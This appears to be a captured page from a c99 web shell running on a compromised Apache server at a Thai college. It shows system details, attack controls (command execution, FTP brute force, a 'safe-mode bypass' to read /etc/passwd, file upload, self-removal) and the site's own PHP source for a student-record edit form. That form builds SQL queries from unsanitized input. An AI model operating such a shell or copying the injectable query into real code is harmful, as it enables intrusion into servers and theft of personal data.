!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/PI11/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditStdSucc.php (11.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
include("../../../Include/FunctionDB.php");
   include(
"../../../include/Function.php");
   
ConnectDB();
   
$sql "Select * From std_success_tb Where Student_id='$Student_id' AND Status='1'";
   
$result mysql_query($sql) or die("Error".mysql_error());
   
$rs mysql_fetch_array($result);
?>
<html>
<head>
<title>Student Record</title>
<link rel="stylesheet" href="../../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
  <tr bgcolor="#E8EEFD"> 
    <td colspan="4"> <div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข</font><font color="#003366" size="4" face="Tahoma"> 
        บันทึกบัณฑิตได้งานภายใน 1 ปี </font></strong></div></td>
  </tr>
  <form action="Edit.php" method="post">
    <tr bgcolor="#EEEEEE"> 
      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0">
          <tr> 
            <td width="39%" bgcolor="#F7F7F7"><strong><font color="#000000" size="2" face="Tahoma"> 
              <?php
            $Student_id 
$rs[Student_id];
            
$sql2 "Select * From student_tb Where Student_id='$Student_id'";
            
$result2 mysql_query($sql2) or die("Error");
            
$rss mysql_fetch_array($result2);
            echo
"$rss[First_name]&nbsp;$rss[Name]&nbsp;$rss[Lastname]";    
            
?>
              </font></strong></td>
            <td width="12%"><div align="center"><font color="#003366" size="2" face="Tahoma">รหัส</font></div></td>
            <td width="49%" bgcolor="#F7F7F7"><strong><font color="#993333" size="2" face="Tahoma"><? echo $rs[Student_id]?></font></strong></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td width="33%"><div align="center"><font color="#003366" size="2" face="Tahoma">ปีที่ีสำเร็จการศึกษา</font></div></td>
      <td width="2%" bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td width="65%" colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"> 
        <input name="Year_grad" type="text" id="Year_grad" value="<? echo $rs[Year_grad]?>" size="5">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font color="#003366" size="2" face="Tahoma">ข้อมูลการสอบสภา 
          ผ่านครบ 8 วิชาในครั้งแรก</font></div></td>
      <td rowspan="2" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Pass_test" <?php if (!(strcmp("$rs[Pass_test]","1"))) {echo "checked";} ?> value="1">
        ใช่ </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20" colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input type="radio" name="Pass_test" <?php if (!(strcmp("$rs[Pass_test]","2"))) {echo "checked";} ?> value="2">
        ไม่ใช่ จำนวนครั้ง 
        <input name="Times" type="text" id="Times" value="<? echo $rs[Times]?>" size="5">
        ครั้ง ผลการสอบ 
        <input type="radio" name="Past_test" <?php if (!(strcmp("$rs[Past_test]","1"))) {echo "checked";} ?> value="1">
        ผ่าน 
        <input type="radio" name="Past_test" <?php if (!(strcmp("$rs[Past_test]","2"))) {echo "checked";} ?> value="2">
        ไม่ผ่าน </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">สถานที่ทำงานปัจจุบัน</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><input name="Work_addr" type="text" id="Work_addr" value="<? echo $rs[Work_addr]?>" size="50"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">สังกัด</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><input name="Depart" type="text" id="Depart" value="<? echo $rs[Depart]?>" size="40"></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"><div align="center"><font color="#003366" size="2" face="Tahoma">ที่อยู่ติดต่อได้สะดวก</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><textarea name="Contact_addr" cols="40" rows="4" id="Contact_addr"><? echo $rs[Contact]?></textarea></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="12"> <div align="center"><font color="#003366" size="2" face="Tahoma">ข้อมูลการทำงาน</font></div></td>
      <td rowspan="4" bordercolor="#006699">&nbsp;</td>
      <td height="20" colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status"  <?php if (!(strcmp("$rs[Work_status]","1"))) {echo "checked";} ?> value="1">
        พยาบาล ตำแหน่งปัจจุบัน 
        <input name="Position" type="text" id="Position" value="<? echo $rs[Position]?>">
        ระดับ 
        <input name="Level" type="text" id="Level" value="<? echo $rs[Level]?>" size="5">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="22" colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        &nbsp;ชื่อหน่วยงาน 
        <input name="Depart_name" type="text" id="Depart_name" value="<? echo $rs[Depart_name]?>" size="40">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;แผนก 
        <input name="Depart" type="text" id="Depart" size="20">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ว/ด/ป 
        เริ่มทำงาน 
        <input name="Date_w1" type="text" id="Date_w1">
        ถึง 
        <input name="Date_w11" type="text" id="Date_w11">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="3" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" <?php if (!(strcmp("$rs[Work_status]","2"))) {echo "checked";} ?> value="2">
        พยาบาลอิสระ(Parttime) </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ชื่อหน่วยงาน 
        <input name="textfield32" type="text" size="40">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ว/ด/ป 
        เริ่มทำงาน 
        <input name="Date_w2" type="text" id="Date_w2">
        ถึง 
        <input name="Date_w22" type="text" id="Date_w22">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" <?php if (!(strcmp("$rs[Work_status]","3"))) {echo "checked";} ?> value="3">
        อื่นฯ ระบุ ชื่อหน่วยงาน 
        <input type="text" name="textfield3">
        แผนก 
        <input type="text" name="textfield10">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ว/ด/ป 
        เริ่มทำงาน 
        <input name="Date_w3" type="text" id="Date_w3">
        ถึง 
        <input name="Date_w33" type="text" id="Date_w33">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
        <input name="Work_status" type="checkbox" id="Work_status" <?php if (!(strcmp("$rs[Work_status]","4"))) {echo "checked";} ?> value="4">
        ว่างงาน </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;การเปลี่ยนงาน 
        <input name="Work_change" type="text" id="Work_change" value="<? echo $rs[Work_change]?>">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><div align="left"><font size="2" face="Tahoma">&nbsp;รายได้เฉลี่ย/เดือน 
          <input name="Income_m" type="text" id="Income_m" value="<? echo $rs[Income_m]?>" size="10">
          บาท รายได้เฉลี่ย/ปี 
          <input name="Income_y" type="text" id="Income_y" value="<? echo $rs[Income_y]?>" size="10">
          บาท </font></div></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="4"><div align="center"><font color="#003366" size="2" face="Tahoma">ข้อมูลการศึกษาต่อ</font></div>
        <font color="#003366">&nbsp;</font><font color="#003366">&nbsp;</font></td>
      <td rowspan="2" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;ระดับการศึกษา 
        <input type="text" name="textfield14">
        คณะ 
        <input type="text" name="textfield15">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">&nbsp;สถาบัน 
        <input name="textfield16" type="text" size="40">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td rowspan="2" bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">ระดับการศึกษา 
        <input type="text" name="textfield142">
        คณะ 
        <input type="text" name="textfield152">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><font size="2" face="Tahoma">สถาบัน 
        <input name="textfield162" type="text" size="40">
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td height="20"> <div align="center"><font size="2" face="Tahoma">รางวัลที่ได้รับ</font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"> <table width="100%" border="0" cellpadding="0" cellspacing="1">
          <tr> 
            <td width="28%"><font size="2" face="Tahoma">ขณะศึกษาที่วิทยาลัย </font></td>
            <td width="72%"><font size="2" face="Tahoma"> 
              <input name="Award_in" type="text" id="Award_in" value="<? echo $rs[Award_in]?>" size="50">
              </font></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699" bgcolor="#EEEEEE"><table width="100%" border="0" cellpadding="0" cellspacing="1">
          <tr> 
            <td width="28%"><font size="2" face="Tahoma">ขณะทำงาน</font></td>
            <td width="72%"><font size="2" face="Tahoma"> 
              <input name="Award_out" type="text" id="Award_out" value="<? echo $rs[Award_out]?>" size="50">
              </font></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#E8EEFD"> 
      <td colspan="4"> <div align="center"> 
          <input name="Student_id" type="hidden" id="Student_id" value="<? echo $rs[Student_id]?>">
          <input type="submit" name="Submit3" value="    บันทึก    ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]--